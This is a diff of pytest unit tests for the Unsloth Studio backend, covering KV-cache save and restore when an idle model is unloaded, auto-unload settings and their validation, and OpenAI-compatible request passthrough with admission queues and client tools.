+def _run_responses_stream_no_model(monkeypatch, *, enabled, active_model_name):
+    # Drive _responses_stream's GGUF-not-loaded guard: llama backend unloaded,
+    # inference backend maybe holding a non-GGUF model. Returns the 400 detail.
+    from fastapi import HTTPException
+    from models.inference import ResponsesRequest, ChatMessage
+
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: enabled)
+    monkeypatch.setattr(
+        inference_route, "get_llama_cpp_backend", lambda: _FakeBackend(loaded_id = None)
+    )
+    monkeypatch.setattr(
+        inference_route,
+        "get_inference_backend",
+        lambda: type("_B", (), {"active_model_name": active_model_name})(),
+    )
+    payload = ResponsesRequest(model = "unsloth/Qwen3.5-4B-GGUF", stream = True)
+    messages = [ChatMessage(role = "user", content = "hi")]
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route._responses_stream(payload, messages, None))
+    assert exc.value.status_code == 400
+    return exc.value.detail
+
+
+def test_responses_stream_hint_matches_toggle_regardless_of_active_model(monkeypatch):
+    # Streaming /v1/responses shares the GGUF-only 400 with the other "no model
+    # loaded" sites, so the auto-switch hint attaches whenever the toggle is
+    # off -- including while a non-GGUF model is active, since auto-switch
+    # evicts it to load a resolved GGUF (_maybe_auto_switch_model's resolver
+    # branch has no active-model guard, unlike its reload-stash branch). Only
+    # the toggle being on suppresses it.
+    hinted = _run_responses_stream_no_model(monkeypatch, enabled = False, active_model_name = None)
+    assert "Model auto-switch" in hinted
+
+    on = _run_responses_stream_no_model(monkeypatch, enabled = True, active_model_name = None)
+    assert "Model auto-switch" not in on
+
+    non_gguf_loaded = _run_responses_stream_no_model(
+        monkeypatch, enabled = False, active_model_name = "unsloth/Llama-3.2-1B-Instruct"
+    )
+    assert "Model auto-switch" in non_gguf_loaded
+
+
+# ── idle-unload KV persistence (slot save/restore) ──────────────────
+
+
+def _seed_kv_manifest(
+    tmp_path,
+    identity = ("unsloth/A-GGUF", "Q4_K_M", "unsloth/A-GGUF"),
+    gguf = None,
+):
+    if gguf is None:
+        gguf_file = tmp_path / "model.gguf"
+        gguf_file.write_bytes(b"gguf")
+        gguf = str(gguf_file)
+    st = os.stat(gguf)
+    state_file = tmp_path / "resume-abc-slot0.bin"
+    state_file.write_bytes(b"kv")
+    return state_file, {
+        "identity": identity,
+        "dir": str(tmp_path),
+        "binary": ("/bin/llama-server", 111),
+        "gguf": gguf,
+        "gguf_stat": ((st.st_size, st.st_mtime_ns),),
+        "launch": ((), None, None, 1),
+        "slots": [{"id": 0, "filename": state_file.name, "n_saved": 42}],
+    }
+
+
+def _drive_idle_loop(
+    kw,
+    poll_seconds = 0.02,
+    run_for = 0.2,
+):
+    async def _drive():
+        task = asyncio.create_task(kw.idle_unload_loop(poll_seconds = poll_seconds))
+        await asyncio.sleep(run_for)
+        task.cancel()
+        try:
+            await task
+        except asyncio.CancelledError:
+            pass
+
+    asyncio.run(_drive())
+
+
+def test_idle_unload_saves_slots_before_unload_and_stashes_manifest(monkeypatch, tmp_path):
+    import time
+    from core.inference import llama_keepwarm as kw
+
+    monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 0.005)
+    monkeypatch.setattr(settings, "get_auto_unload_keep_kv", lambda: True)
+    kw._inflight = 0
+    kw._pending = 0
+    kw._last_active = time.monotonic() - 3600
+    kw._last_unloaded_model = None
+    kw._kv_resume = None
+
+    events = []
+    backend = _FakeBackend("unsloth/Idle-GGUF", hf_variant = "Q4_K_M")
+    manifest = {
+        "dir": str(tmp_path),
+        "binary": ("bin", 1),
+        "slots": [{"id": 0, "filename": "f.bin", "n_saved": 42}],
+    }
+
+    def _save(should_abort = None):
+        events.append("save")
+        return manifest
+
+    def _unload():
+        events.append("unload")
+        backend.is_loaded = False
+
+    backend.save_slots_for_resume = _save
+    backend.unload_model = _unload
+    monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend)
+
+    _drive_idle_loop(kw)
+    # KV must be saved while the server is still alive, then exactly one unload.
+    assert events == ["save", "unload"]
+    assert kw.get_last_unloaded_model()[:2] == ("unsloth/Idle-GGUF", "Q4_K_M")
+    resume = kw.take_kv_resume()
+    assert resume is not None
+    assert resume["identity"][:2] == ("unsloth/Idle-GGUF", "Q4_K_M")
+    assert resume["slots"][0]["filename"] == "f.bin"
+
+
+def test_idle_save_failure_still_unloads_plain(monkeypatch):
+    import time
+    from core.inference import llama_keepwarm as kw
+
+    monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 0.005)
+    monkeypatch.setattr(settings, "get_auto_unload_keep_kv", lambda: True)
+    kw._inflight = 0
+    kw._pending = 0
+    kw._last_active = time.monotonic() - 3600
+    kw._last_unloaded_model = None
+    kw._kv_resume = None
+
+    unloads = []
+    backend = _FakeBackend("unsloth/Idle-GGUF", hf_variant = "Q4_K_M")
+
+    def _save(should_abort = None):
+        raise RuntimeError("slot save exploded")
+
+    def _unload():
+        unloads.append(1)
+        backend.is_loaded = False
+
+    backend.save_slots_for_resume = _save
+    backend.unload_model = _unload
+    monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend)
+
+    _drive_idle_loop(kw)
+    assert unloads == [1]  # the save failure must not skip the unload
+    assert kw.get_last_unloaded_model() is not None
+    assert kw.take_kv_resume() is None
+
+
+def test_keep_kv_setting_off_skips_save(monkeypatch):
+    import time
+    from core.inference import llama_keepwarm as kw
+
+    monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 0.005)
+    monkeypatch.setattr(settings, "get_auto_unload_keep_kv", lambda: False)
+    kw._inflight = 0
+    kw._pending = 0
+    kw._last_active = time.monotonic() - 3600
+    kw._last_unloaded_model = None
+    kw._kv_resume = None
+
+    saves, unloads = [], []
+    backend = _FakeBackend("unsloth/Idle-GGUF")
+
+    def _unload():
+        unloads.append(1)
+        backend.is_loaded = False
+
+    backend.save_slots_for_resume = lambda *a, **k: saves.append(1)
+    backend.unload_model = _unload
+    monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend)
+
+    _drive_idle_loop(kw)
+    assert saves == []
+    assert unloads == [1]
+    assert kw.take_kv_resume() is None
+
+
+def test_keep_kv_disabled_mid_save_discards_manifest(monkeypatch, tmp_path):
+    import time
+    from core.inference import llama_keepwarm as kw
+
+    keep = {"on": True}
+    monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 0.005)
+    monkeypatch.setattr(settings, "get_auto_unload_keep_kv", lambda: keep["on"])
+    kw._inflight = 0
+    kw._pending = 0
+    kw._last_active = time.monotonic() - 3600
+    kw._last_unloaded_model = None
+    kw._kv_resume = None
+
+    unloads = []
+    backend = _FakeBackend("unsloth/Idle-GGUF", hf_variant = "Q4_K_M")
+    state_file = tmp_path / "resume-mid-slot0.bin"
+    state_file.write_bytes(b"kv")
+    manifest = {
+        "dir": str(tmp_path),
+        "binary": ("bin", 1),
+        "slots": [{"id": 0, "filename": state_file.name, "n_saved": 1}],
+    }
+
+    def _save(should_abort = None):
+        keep["on"] = False  # user flips the toggle while the save runs
+        return manifest
+
+    def _unload():
+        unloads.append(1)
+        backend.is_loaded = False
+
+    backend.save_slots_for_resume = _save
+    backend.unload_model = _unload
+    monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend)
+
+    _drive_idle_loop(kw)
+    assert unloads == [1]  # still unloads; only the stash is dropped
+    assert kw.take_kv_resume() is None
+    assert not state_file.exists()
+
+
+def test_idle_ttl_disabled_mid_save_skips_unload(monkeypatch, tmp_path):
+    import time
+    from core.inference import llama_keepwarm as kw
+
+    ttl = {"v": 0.005}
+    monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: ttl["v"])
+    monkeypatch.setattr(settings, "get_auto_unload_keep_kv", lambda: True)
+    kw._inflight = 0
+    kw._pending = 0
+    kw._last_active = time.monotonic() - 3600
+    kw._last_unloaded_model = None
+    kw._kv_resume = None
+
+    unloads = []
+    backend = _FakeBackend("unsloth/Idle-GGUF", hf_variant = "Q4_K_M")
+    state_file = tmp_path / "resume-mid-slot0.bin"
+    state_file.write_bytes(b"kv")
+    manifest = {
+        "dir": str(tmp_path),
+        "binary": ("bin", 1),
+        "slots": [{"id": 0, "filename": state_file.name, "n_saved": 1}],
+    }
+
+    def _save(should_abort = None):
+        ttl["v"] = 0  # user turns idle unload off while the save runs
+        return manifest
+
+    backend.save_slots_for_resume = _save
+    backend.unload_model = lambda: unloads.append(1)
+    monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend)
+
+    _drive_idle_loop(kw)
+    assert unloads == []  # the unload was cancelled by the setting change
+    assert kw.take_kv_resume() is None
+    assert not state_file.exists()
+
+
+def test_alias_reload_restores_slots_and_deletes_files(monkeypatch, tmp_path):
+    from core.inference import llama_keepwarm as kw
+
+    backend = _FakeBackend(None)  # idle-unload emptied the backend
+    backend._slot_save_binary = ("/bin/llama-server", 111)
+    restored = []
+    backend.restore_slots_for_resume = lambda manifest: restored.append(manifest)
+
+    rec = _LoadRecorder(backend)
+    _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec)
+    monkeypatch.setattr(kw, "_inflight", 0)
+    state_file, manifest = _seed_kv_manifest(tmp_path)
+    monkeypatch.setattr(kw, "_last_unloaded_model", (manifest["gguf"], "Q4_K_M"))
+    monkeypatch.setattr(kw, "_kv_resume", manifest)
+
+    _run_hook("gpt-4o-mini")
+    assert len(rec.calls) == 1
+    assert len(restored) == 1  # same model + binary: restore ran
+    assert not state_file.exists()  # state file deleted after the restore
+    assert kw._kv_resume is None
+
+
+def test_no_restore_when_different_model_loads(monkeypatch, tmp_path):
+    from core.inference import llama_keepwarm as kw
+
+    backend = _FakeBackend(None)
+    backend._slot_save_binary = ("/bin/llama-server", 111)
+    restored = []
+    backend.restore_slots_for_resume = lambda manifest: restored.append(manifest)
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("unsloth/B-GGUF", None, "unsloth/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    monkeypatch.setattr(kw, "_inflight", 0)
+    state_file, manifest = _seed_kv_manifest(tmp_path)  # manifest is for model A
+    monkeypatch.setattr(kw, "_kv_resume", manifest)
+
+    _run_hook("unsloth/B-GGUF")
+    assert len(rec.calls) == 1
+    assert restored == []  # different model: never restored
+    assert not state_file.exists()  # but the stale files are gone
+    assert kw._kv_resume is None
+
+
+def test_restore_skipped_when_binary_changed(monkeypatch, tmp_path):
+    from core.inference import llama_keepwarm as kw
+
+    state_file, manifest = _seed_kv_manifest(tmp_path)
+    backend = _FakeBackend("unsloth/A-GGUF", hf_variant = "Q4_K_M")
+    backend._gguf_path = manifest["gguf"]
+    backend._slot_save_binary = ("/bin/llama-server", 222)  # newer mtime
+    restored = []
+    backend.restore_slots_for_resume = lambda manifest: restored.append(manifest)
+
+    kw.restore_kv_resume(backend, manifest)
+    assert restored == []
+    assert not state_file.exists()
+
+
+def test_restore_skipped_when_launch_config_changed(tmp_path):
+    from core.inference import llama_keepwarm as kw
+
+    state_file, manifest = _seed_kv_manifest(tmp_path)
+    backend = _FakeBackend("unsloth/A-GGUF", hf_variant = "Q4_K_M")
+    backend._gguf_path = manifest["gguf"]
+    backend._slot_save_binary = ("/bin/llama-server", 111)
+    backend._slot_launch_fingerprint = lambda: (("--rope-freq-scale", "0.5"), None, None, 1)
+    restored = []
+    backend.restore_slots_for_resume = lambda manifest: restored.append(manifest)
+
+    kw.restore_kv_resume(backend, manifest)
+    assert restored == []
+    assert not state_file.exists()
+
+
+def test_restore_skipped_when_gguf_rewritten_in_place(tmp_path):
+    from core.inference import llama_keepwarm as kw
+
+    state_file, manifest = _seed_kv_manifest(tmp_path)
+    with open(manifest["gguf"], "wb") as fh:
+        fh.write(b"different weights")  # same path, new content
+    backend = _FakeBackend("unsloth/A-GGUF", hf_variant = "Q4_K_M")
+    backend._gguf_path = manifest["gguf"]
+    backend._slot_save_binary = ("/bin/llama-server", 111)
+    restored = []
+    backend.restore_slots_for_resume = lambda manifest: restored.append(manifest)
+
+    kw.restore_kv_resume(backend, manifest)
+    assert restored == []
+    assert not state_file.exists()
+
+
+def test_note_model_unloaded_purges_manifest_and_files(tmp_path):
+    from core.inference import llama_keepwarm as kw
+
+    state_file, manifest = _seed_kv_manifest(tmp_path)
+    kw._set_last_unloaded(("org/A-GGUF", "Q4_K_M"))
+    kw._set_kv_resume(manifest)
+    kw.note_model_unloaded()
+    assert kw.get_last_unloaded_model() is None
+    assert kw.take_kv_resume() is None
+    assert not state_file.exists()
+
+
+def test_note_model_loaded_purges_manifest_and_files(tmp_path):
+    from core.inference import llama_keepwarm as kw
+
+    state_file, manifest = _seed_kv_manifest(tmp_path)
+    kw._set_last_unloaded(("org/A-GGUF", "Q4_K_M"))
+    kw._set_kv_resume(manifest)
+    kw.note_model_loaded()
+    assert kw.get_last_unloaded_model() is None
+    assert kw.take_kv_resume() is None
+    assert not state_file.exists()
+
+
+def test_new_idle_save_purges_previous_manifest_files(tmp_path):
+    from core.inference import llama_keepwarm as kw
+
+    old_file, old_manifest = _seed_kv_manifest(tmp_path)
+    kw._set_kv_resume(old_manifest)
+    new_file = tmp_path / "resume-def-slot0.bin"
+    new_file.write_bytes(b"kv2")
+    kw._set_kv_resume(
+        {
+            "identity": ("unsloth/B-GGUF", None, "unsloth/B-GGUF"),
+            "dir": str(tmp_path),
+            "binary": ("/bin/llama-server", 111),
+            "slots": [{"id": 0, "filename": new_file.name, "n_saved": 7}],
+        }
+    )
+    assert not old_file.exists()  # replaced manifest's files purged
+    assert new_file.exists()
+    assert kw.take_kv_resume()["slots"][0]["filename"] == new_file.name
+
+
+def test_sweep_slot_save_dir_removes_only_resume_files(monkeypatch, tmp_path):
+    from core.inference import llama_keepwarm as kw
+    from utils.paths import storage_roots
+
+    monkeypatch.setattr(storage_roots, "llama_slot_cache_root", lambda: tmp_path)
+    stale = tmp_path / "resume-old-slot0.bin"
+    stale.write_bytes(b"kv")
+    other = tmp_path / "unrelated.txt"
+    other.write_text("keep")
+    kw.sweep_slot_save_dir()
+    assert not stale.exists()
+    assert other.exists()
+
+
+def test_keep_kv_setting_roundtrip_and_default(monkeypatch):
+    import storage.studio_db as db
+
+    store = {}
+    monkeypatch.setattr(db, "upsert_app_settings", lambda m: store.update(m))
+    monkeypatch.setattr(settings, "_cached_setting", lambda k, d = None: store.get(k, d))
+
+    assert settings.get_auto_unload_keep_kv() is True  # default when never stored
+    assert settings.set_openai_auto_switch(True, 60, False)[2] is False
+    assert store[settings.AUTO_UNLOAD_KEEP_KV_SETTING_KEY] is False
+    assert settings.get_auto_unload_keep_kv() is False
+    # None leaves the stored value untouched (older clients can't reset it).
+    assert settings.set_openai_auto_switch(True, 60, None)[2] is False
+    assert store[settings.AUTO_UNLOAD_KEEP_KV_SETTING_KEY] is False
+    with pytest.raises(ValueError, match = "true or false"):
+        settings.set_openai_auto_switch(True, 60, "garbage")
+
+
+def test_stale_stash_cleanup_waits_for_lifecycle_gate(monkeypatch, tmp_path):
+    # The loop's stale-stash purge must wait on the gate a mid-reload holds.
+    import time
+    from core.inference import llama_keepwarm as kw
+
+    monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 3600)
+    kw._inflight = 0
+    kw._pending = 0
+    kw._last_active = time.monotonic()
+    backend = _FakeBackend("unsloth/New-GGUF")
+    monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend)
+    state_file, manifest = _seed_kv_manifest(tmp_path)
+    kw._kv_resume = manifest
+    kw._last_unloaded_model = ("unsloth/A-GGUF", "Q4_K_M")
+
+    assert kw._lifecycle_lock.acquire(blocking = False)  # simulate in-flight reload
+    try:
+        _drive_idle_loop(kw)
+        assert kw._kv_resume is manifest  # purge deferred while the gate is held
+        assert state_file.exists()
+    finally:
+        kw._lifecycle_lock.release()
+    _drive_idle_loop(kw)
+    assert kw._kv_resume is None  # gate freed: genuinely stale stash purged
+    assert not state_file.exists()
+
+
+def test_put_route_disabling_keep_kv_purges_saved_state(monkeypatch, tmp_path):
+    import routes.settings as settings_route
+    import storage.studio_db as db
+    from core.inference import llama_keepwarm as kw
+
+    store = {}
+    monkeypatch.setattr(db, "upsert_app_settings", lambda m: store.update(m))
+    monkeypatch.setattr(settings, "_cached_setting", lambda k, d = None: store.get(k, d))
+    state_file, manifest = _seed_kv_manifest(tmp_path)
+    monkeypatch.setattr(kw, "_kv_resume", manifest)
+
+    payload = settings_route.OpenAIAutoSwitchPayload(enabled = True, auto_unload_keep_kv = False)
+    resp = settings_route.update_openai_auto_switch(payload, "tester")
+    assert resp.auto_unload_keep_kv is False
+    assert kw._kv_resume is None
+    assert not state_file.exists()
+
+
+def test_keep_kv_only_update_leaves_env_idle_ttl_active(monkeypatch):
+    # A keep-KV-only update must not materialize the env TTL as a stored value.
+    import routes.settings as settings_route
+    import storage.studio_db as db
+
+    store = {}
+    monkeypatch.setattr(db, "upsert_app_settings", lambda m: store.update(m))
+    monkeypatch.setattr(settings, "_cached_setting", lambda k, d = None: store.get(k, d))
+    monkeypatch.setenv(settings.MODEL_IDLE_TTL_ENV_VAR, "600")
+
+    assert settings_route.OpenAIAutoSwitchPayload(enabled = False).auto_unload_idle_seconds is None
+    enabled, idle, keep_kv = settings.set_openai_auto_switch(False, None, False)
+    assert settings.AUTO_UNLOAD_IDLE_SETTING_KEY not in store  # idle untouched
+    assert settings.get_auto_unload_idle_seconds() == 600  # env TTL still active
+    assert (enabled, idle, keep_kv) == (False, 600, False)
+
+
+def test_load_impl_notes_loaded_with_backend_off_loop():
+    import inspect
+    src = inspect.getsource(inference_route._load_model_impl)
+    assert "to_thread(note_model_loaded, llama_backend)" in src
+
+
+def test_restore_matches_gguf_realpath_across_naming(tmp_path):
+    from core.inference import llama_keepwarm as kw
+
+    blob = tmp_path / "blob.gguf"
+    blob.write_bytes(b"gguf")
+    link = tmp_path / "snapshot.gguf"
+    try:
+        link.symlink_to(blob)
+    except OSError:
+        pytest.skip("symlinks unsupported on this host")
+
+    backend = _FakeBackend("/hf/snapshots/d7f5", hf_variant = None)
+    backend._gguf_path = str(link)  # reload resolved the symlink spelling
+    backend._slot_save_binary = ("/bin/llama-server", 111)
+    restored = []
+    backend.restore_slots_for_resume = lambda manifest: restored.append(manifest)
+    state_file, manifest = _seed_kv_manifest(
+        tmp_path, identity = ("unsloth/A-GGUF", None, "unsloth/A-GGUF"), gguf = str(blob)
+    )
+
+    kw.restore_kv_resume(backend, manifest)
+    assert len(restored) == 1  # names differ, file identical: restore ran
+    assert not state_file.exists()
+
+
+def test_setter_rejects_idle_below_floor(monkeypatch):
+    import storage.studio_db as db
+
+    writes = []
+    monkeypatch.setattr(db, "upsert_app_settings", lambda m: writes.append(dict(m)))
+    settings._cache.clear()
+
+    with pytest.raises(ValueError, match = "at least 60"):
+        settings.set_openai_auto_switch(True, 30)
+    assert writes == []  # rejected before any persist
+    # 0 (off) and >= 60 pass through unchanged.
+    assert settings.set_openai_auto_switch(True, 0)[1] == 0
+    assert settings.set_openai_auto_switch(True, 60)[1] == 60
+    assert settings.set_openai_auto_switch(True, 3600)[1] == 3600
+
+
+def test_put_route_rejects_idle_below_floor():
+    import routes.settings as settings_route
+    from fastapi import HTTPException
+
+    payload = settings_route.OpenAIAutoSwitchPayload(enabled = True, auto_unload_idle_seconds = 30)
+    with pytest.raises(HTTPException) as excinfo:
+        settings_route.update_openai_auto_switch(payload, "tester")
+    assert excinfo.value.status_code == 400
+
+
+def test_stored_legacy_idle_below_floor_is_clamped(monkeypatch):
+    # Values persisted before the floor existed are raised to it on read, for
+    # both the effective TTL and the value the settings UI displays.
+    store = {settings.AUTO_UNLOAD_IDLE_SETTING_KEY: 5}
+    monkeypatch.setattr(settings, "_cached_setting", lambda k, d = None: store.get(k, d))
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True)
+    assert settings.get_auto_unload_idle_seconds() == 60
+    assert settings.get_stored_auto_unload_idle_seconds() == 60
+    store[settings.AUTO_UNLOAD_IDLE_SETTING_KEY] = 90
+    assert settings.get_auto_unload_idle_seconds() == 90
+
+
+def test_env_idle_below_floor_is_clamped(monkeypatch):
+    monkeypatch.setattr(settings, "_cached_setting", lambda k, d = None: d)
+    monkeypatch.setenv(settings.MODEL_IDLE_TTL_ENV_VAR, "5")
+    assert settings.get_auto_unload_idle_seconds() == 60
+    monkeypatch.setenv(settings.MODEL_IDLE_TTL_ENV_VAR, "0")
+    assert settings.get_auto_unload_idle_seconds() == 0
+    monkeypatch.setenv(settings.MODEL_IDLE_TTL_ENV_VAR, "600")
+    assert settings.get_auto_unload_idle_seconds() == 600
+    monkeypatch.delenv(settings.MODEL_IDLE_TTL_ENV_VAR)
+    assert settings.get_auto_unload_idle_seconds() == 0
diff --git a/studio/backend/tests/test_openai_compaction.py b/studio/backend/tests/test_openai_compaction.py
index c7de0a9aed..6fad2c5eaf 100644
--- a/studio/backend/tests/test_openai_compaction.py
+++ b/studio/backend/tests/test_openai_compaction.py
@@ -86,7 +86,7 @@ def test_cloud_openai_sets_compaction_block(monkeypatch):
 
 
 def test_cloud_openai_below_default_threshold_passes_through(monkeypatch):
-    # Studio doesn't clamp the OpenAI side -- the API accepts whatever the
+    # Unsloth doesn't clamp the OpenAI side -- the API accepts whatever the
     # caller sends, so a small probe like 60k still goes through.
     captured = _capture(
         monkeypatch,
diff --git a/studio/backend/tests/test_openai_image_generation.py b/studio/backend/tests/test_openai_image_generation.py
index ace57588d3..c2eef0381f 100644
--- a/studio/backend/tests/test_openai_image_generation.py
+++ b/studio/backend/tests/test_openai_image_generation.py
@@ -4,7 +4,7 @@
 """Unit tests for OpenAI Responses API image_generation tool wiring.
 
 The tool is a server-side Responses-API tool (``{type: "image_generation"}``);
-the result comes back as an ``image_generation_call`` output item, which Studio
+the result comes back as an ``image_generation_call`` output item, which Unsloth
 translates into ``_toolEvent`` chunks so the chat adapter renders it inline.
 Tests pin: the tool is added to the body only on a cloud OpenAI base when asked
 for, the done event produces the expected chunks, and non-cloud bases drop it.
diff --git a/studio/backend/tests/test_openai_tool_passthrough.py b/studio/backend/tests/test_openai_tool_passthrough.py
index ccbd78e2b1..161c8743c4 100644
--- a/studio/backend/tests/test_openai_tool_passthrough.py
+++ b/studio/backend/tests/test_openai_tool_passthrough.py
@@ -8,6 +8,7 @@ import sys
 import asyncio
 import json
 import threading
+import time
 from types import SimpleNamespace
 
 _backend = os.path.join(os.path.dirname(__file__), "..")
@@ -29,7 +30,17 @@ from core.inference.anthropic_compat import (
     anthropic_tool_choice_to_openai,
 )
 from core.inference.api_monitor import ApiMonitor
+from core.inference.llama_admission import (
+    ADMISSION_KEEPALIVE_INTERVAL_ENV,
+    ADMISSION_MAX_QUEUE_ENV,
+    ADMISSION_QUEUE_TIMEOUT_ENV,
+    LlamaAdmissionCancelled,
+    LlamaAdmissionConfig,
+    get_llama_admission_queue,
+    reset_llama_admission_queues,
+)
 from routes.inference import (
+    _aclose_stream_resources,
     _build_chat_request,
     _build_openai_passthrough_body,
     _build_passthrough_payload,
@@ -38,24 +49,69 @@ from routes.inference import (
     _coalesce_consecutive_user_turns,
     _drop_empty_assistant_sentinels,
     _effective_max_tokens,
+    _effective_openai_max_tokens,
+    _effective_openai_max_tokens_from_values,
     _extract_content_parts,
     _friendly_error,
     _friendly_upstream_error,
     _merge_user_content,
     _monitor_openai_chunk,
     _monitor_openai_sse_event,
+    _normalize_openai_passthrough_sse_line,
+    _openai_compat_stream_stall_timeout,
+    _openai_llama_admission_capacity,
     _openai_messages_for_gguf_chat,
+    _openai_passthrough_sse_line_terminal_state,
+    _openai_passthrough_upstream_headers,
     _openai_passthrough_non_streaming,
     _openai_passthrough_stream,
+    _responses_stream,
+    _openai_stream_error_sse,
     _openai_stream_usage_chunk,
+    _openai_admission_wait_stream_chunks,
+    _wait_for_openai_admission_non_streaming,
     _proxy_to_external_provider,
     _SameTaskStreamingResponse,
+    _OPENAI_COMPAT_STREAM_STALL_TIMEOUT_ENV,
     _set_or_prepend_system_message,
     openai_completions,
     openai_embeddings,
     openai_chat_completions,
 )
-from state.tool_policy import reset_tool_policy
+from state.tool_policy import reset_tool_policy, set_tool_policy
+
+
+@pytest.fixture(autouse = True)
+def _reset_admission_queues():
+    reset_llama_admission_queues()
+    yield
+    reset_llama_admission_queues()
+
+
+def test_aclose_stream_resources_attempts_remaining_closes_after_cancel():
+    class Closeable:
+        def __init__(self, *, cancel = False):
+            self.cancel = cancel
+            self.closed = False
+
+        async def aclose(self):
+            self.closed = True
+            if self.cancel:
+                raise asyncio.CancelledError()
+
+    async def _run():
+        iterator = Closeable(cancel = True)
+        resp = Closeable()
+        client = Closeable()
+
+        with pytest.raises(asyncio.CancelledError):
+            await _aclose_stream_resources(iterator = iterator, resp = resp, client = client)
+
+        assert iterator.closed
+        assert resp.closed
+        assert client.closed
+
+    asyncio.run(_run())
 
 
 class TestFriendlyUpstreamError:
@@ -63,7 +119,7 @@ class TestFriendlyUpstreamError:
         raw = '{"error":{"code":400,"message":"Failed to initialize samplers: failed to parse grammar","type":"invalid_request_error"}}'
         msg = _friendly_upstream_error(raw)
         assert "failed to parse grammar" not in msg  # raw body is not surfaced verbatim
-        assert "tool-calling grammar" in msg and "Update Studio" in msg
+        assert "tool-calling grammar" in msg and "Update Unsloth" in msg
 
     def test_failed_to_initialize_samplers_alone_matches(self):
         assert "tool-calling grammar" in _friendly_upstream_error("Failed to initialize samplers")
@@ -206,7 +262,7 @@ class TestChatMessageToolRoles:
 
     def test_tool_empty_content_accepted(self):
         # Empty tool output (mkdir, git add, ...) is routine in agentic loops;
-        # OpenAI and llama-server both accept it, so Studio must not 400.
+        # OpenAI and llama-server both accept it, so Unsloth must not 400.
         msg = ChatMessage(role = "tool", tool_call_id = "call_1", content = "")
         assert msg.content == ""
 
@@ -344,7 +400,7 @@ class TestChatCompletionRequestToolFields:
         assert req.session_id == "abc"
 
     def test_stream_defaults_false_matching_openai_spec(self):
-        # OpenAI defaults `stream` to false. Studio used to default true,
+        # OpenAI defaults `stream` to false. Unsloth used to default true,
         # breaking naive curl/.NET clients (#5047) that omit it. Pin the fix.
         req = self._make()
         assert req.stream is False
@@ -548,6 +604,417 @@ class TestChatCompletionRequestToolFields:
         assert "n > 1 is not supported" in entry["error"]
         assert monitor.active_count() == 0
 
+    def test_client_tools_rejected_when_gguf_template_has_no_tool_support(self, monkeypatch):
+        import routes.inference as inference_route
+
+        class _GGUFBackend:
+            is_loaded = True
+            model_identifier = "test-gguf"
+            supports_tools = False
+            is_vision = False
+            _is_audio = False
+            context_length = 4096
+
+            def generate_chat_completion(self, **_kwargs):
+                raise AssertionError("client tools must not fall through to the standard GGUF path")
+
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inference_route, "api_monitor", monitor)
+        client = self._v1_client(monkeypatch, _GGUFBackend())
+        resp = client.post(
+            "/v1/chat/completions",
+            json = {
+                "messages": [{"role": "user", "content": "hi"}],
+                "tools": [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object"},
+                        },
+                    }
+                ],
+            },
+        )
+
+        self._assert_unsupported_param(resp, "tools")
+        assert "does not advertise tools" in resp.json()["error"]["message"]
+        [entry] = monitor.snapshot()
+        assert entry["status"] == "error"
+        assert "does not advertise tools" in entry["error"]
+        assert monitor.active_count() == 0
+
+    def test_client_tools_use_passthrough_capability_when_tool_loop_is_disabled(self, monkeypatch):
+        import routes.inference as inference_route
+
+        captured = {}
+
+        class _GGUFBackend:
+            is_loaded = True
+            model_identifier = "test-gguf"
+            supports_tools = False
+            supports_tool_passthrough = True
+            is_vision = False
+            _is_audio = False
+            context_length = 4096
+            base_url = "http://llama.passthrough-capability.test"
+            _request_reasoning_kwargs = lambda *_args, **_kwargs: None
+
+            def generate_chat_completion(self, **_kwargs):
+                raise AssertionError("client tools must use passthrough")
+
+            def generate_chat_completion_with_tools(self, **_kwargs):
+                raise AssertionError("Unsloth tool loop must stay disabled")
+
+        async def fake_passthrough(llama_backend, payload, model_name, **kwargs):
+            captured["body"] = inference_route._build_openai_passthrough_body(
+                payload,
+                backend_ctx = llama_backend.context_length,
+                llama_backend = llama_backend,
+            )
+            inference_route.api_monitor.finish(kwargs.get("monitor_id"))
+            return inference_route.JSONResponse({"ok": True, "model": model_name})
+
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inference_route, "api_monitor", monitor)
+        monkeypatch.setattr(
+            inference_route,
+            "_openai_passthrough_non_streaming",
+            fake_passthrough,
+        )
+        client = self._v1_client(monkeypatch, _GGUFBackend())
+        resp = client.post(
+            "/v1/chat/completions",
+            json = {
+                "messages": [{"role": "user", "content": "use client tool"}],
+                "tools": [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object"},
+                        },
+                    }
+                ],
+            },
+        )
+
+        assert resp.status_code == 200
+        assert resp.json()["ok"] is True
+        assert captured["body"]["tools"][0]["function"]["name"] == "lookup"
+        [entry] = monitor.snapshot()
+        assert entry["status"] == "completed"
+        assert monitor.active_count() == 0
+
+    def test_permission_mode_does_not_reject_client_tool_passthrough(self, monkeypatch):
+        # A non-streaming client-tool passthrough (client tools, no Unsloth tool
+        # loop) that also carries permission_mode "ask"/"auto" must reach the
+        # provider passthrough, not the confirm-without-stream guard: the
+        # validator leaves confirm_tool_calls unset for passthrough, and a bare
+        # permission_mode only gates Unsloth's own local tool loop. An explicit
+        # confirm_tool_calls=True still forces the local-confirm rejection.
+        # The pre-switch guard only runs when an automatic load may run, so force
+        # that predicate on to exercise it against a resident passthrough backend.
+        import routes.inference as inference_route
+
+        class _GGUFBackend:
+            is_loaded = True
